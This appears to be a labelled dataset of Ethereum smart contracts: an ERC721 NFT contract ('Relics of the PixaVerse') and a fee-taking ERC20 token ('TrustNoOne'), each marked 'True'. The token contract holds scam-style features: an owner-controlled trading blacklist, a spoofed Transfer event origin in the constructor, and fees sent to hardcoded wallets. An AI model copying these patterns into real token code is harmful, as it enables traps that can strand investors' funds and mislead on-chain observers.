pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/Strings /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // Part: OpenZeppelin/[email protected]/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // Part: OpenZeppelin/[email protected]/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC721 /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: Relics.sol contract Relics is ERC721 { address private _owner; uint256 public tokenCounter; bool public saleStatus = false; bool public collectionLock = true; // if true, can keep minting (not locked) address payable wallet = 0x5c2B89CBeC1a4996Aa5e81f3dFf8505ABeC6B34c; string public relicURI = "nothingtostart"; constructor () public ERC721 ("Relics of the PixaVerse", "ROTP"){ tokenCounter = 1; _setOwner(wallet); } function mintRelic() public { require(saleStatus); require(collectionLock); _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, relicURI); tokenCounter = tokenCounter + 1; } function ownermintRelic() public { require(msg.sender == wallet); require(collectionLock); _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, relicURI); tokenCounter = tokenCounter + 1; } function changeRelicURI(string memory inputURI) public { require(msg.sender == wallet); relicURI = inputURI; } function startSale() public { require(msg.sender == wallet); saleStatus = true; } function stopSale() public { require(msg.sender == wallet); saleStatus = false; } function lockcollection() public { require(msg.sender == wallet); collectionLock = false; } function getBalance() public view returns (uint256) { return address(this).balance; } function withdrawAmount(uint256 amount) public { require(msg.sender == wallet); require(amount <= getBalance()); msg.sender.transfer(amount); } function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { require(msg.sender == wallet); address oldOwner = _owner; _owner = newOwner; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-31 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TrustNoOne is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "TRUSTNOONE"; string private constant _symbol = "TNO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xa90F29b1fd2Ae4e1E09E87A47196FB06F2A378DE); _feeAddrWallet2 = payable(0xb22B3Bd8C7FeA2F66fE4e097CBdd6af47a0b776A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0B75D2958BCc9aa683892AfDb61a1443c4Bb93A8), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

